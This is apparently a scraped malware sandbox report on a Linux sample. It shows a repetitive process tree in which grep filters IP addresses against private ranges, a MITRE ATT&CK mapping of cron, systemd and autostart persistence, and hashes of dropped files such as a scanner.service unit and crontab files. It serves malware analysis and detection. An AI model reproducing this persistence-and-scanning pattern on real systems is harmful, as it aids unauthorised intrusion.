  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1743
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1741
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1755
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1756
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1771
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1769
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1783
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1784
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1799
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1801
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1811
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1812
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1824
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1826
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1839
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1838
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1851
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1853
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1863
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1864
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1875
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1877
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1888
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1889
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1905
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1907
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1917
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1918
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1927
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1931
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1944
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1945
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1957
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1959
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1970
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1971
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1986
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1984
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1997
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2000
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2008
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2010
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2011
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2012
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2016
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2018
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2019
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2020
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2024
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2026
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2027
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2028
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2032
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2035
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2041
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2042
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2054
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2056
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2065
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2066
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2078
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2081
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2094
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2093
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2109
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2111
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2121
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2120
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2134
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2137
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2151
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2152
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2162
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2164
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2175
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2176
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2188
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2186
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2200
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2201
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2213
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2215
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2228
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2229
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2241
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2243
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2253
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2254
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2267
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2269
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2280
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2281
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2291
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2293
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2307
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2308
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2320
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2322
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2332
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2333
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2348
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2346
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2361
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2362
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2372
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2376
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2387
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2388
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2400
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2402
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2412
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2413
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2428
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2430
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2440
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2439
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2452
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2454
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2465
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2466
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2478
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2480
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2489
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2490
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2504
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2502
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2519
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2520
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2534
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2532
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2545
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2544
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2560
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2558
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2572
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2573
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2586
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2588
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2600
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2601
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2614
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2616
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2627
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2626
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2641
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2643
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2655
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2656
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2669
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2671
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2683
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2684
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2700
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2702
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2716
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2715
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2729
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2731
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2743
- /bin/sleep
  sleep 0.01
  2⤵
  PID:2745
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2757
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:2760

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

scanner.service

Path /etc/systemd/system/scanner.service
Size 217B
SHA256 2c4c09cbea4e818d38d12aae1f74605333f96ae28eed8be02c53d210d6900598
MD5 2db0b8c1365c219bec1169ce9477d363
SHA1 92f88a63be1a60b05656a9dc9de334a16b6ea559
SHA512 948268846a428866db36734f4925b79ad91df60b3a4a73a7c1f0f5aa0e244955e01256943984993763972189209c0772ac7efa5d295c29e72574ae2ba42de5df
TLSH
T10ED0A7626A206575C90E297E9EB6D7904C1591809ECD92305B81590954F12172525ADD
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.EoBI3c

Path /var/spool/cron/crontabs/tmp.EoBI3c
Size 254B
SHA256 25c0663b4403e089b6f3e34f6b86bcfb3f68052ad1540d39e0a60d4bd13df944
MD5 ac5872052e6731f48b2716b522b8e9d1
SHA1 9ce9da8fd5307bfe191bce75b9268219749acfa4
SHA512 b79ce36941476f3336a19cb6c6fcf7c43cad39ca831136248740cae8c97f047e38e3a0bfdafd1d8c32717ad6b291f31c978a90c28bed5b836a9687bc3b16ef8e
TLSH
T1B9D02EAD3B206E34AA098A1922AA12AEA887E2AE80599E00D28D4801120A30E2740E60
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.WwDPRf

Path /var/spool/cron/crontabs/tmp.WwDPRf
Size 250B
SHA256 bea80b4daf646f58c1848bdb93f07d8de5783b7024d872a8592244921e0b6f40
MD5 5c366d28cd6faecc57da3eb198fc20b1
SHA1 fd0abc46fe83aabeea1a0e3d8cd798960f3592b8
SHA512 8228827693889287d17fb04ed1143313caa60fdf0d3760d3bc6c5b7c51086fe8904a344d45800cd4c540c333a45e459ede07b8a75cfe74a7d4f05b07fbc3b958
TLSH
T158D02E9D3B202E34AA098A4921A902AEA886E57E80989A40E28D1810120A2492750AA1
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads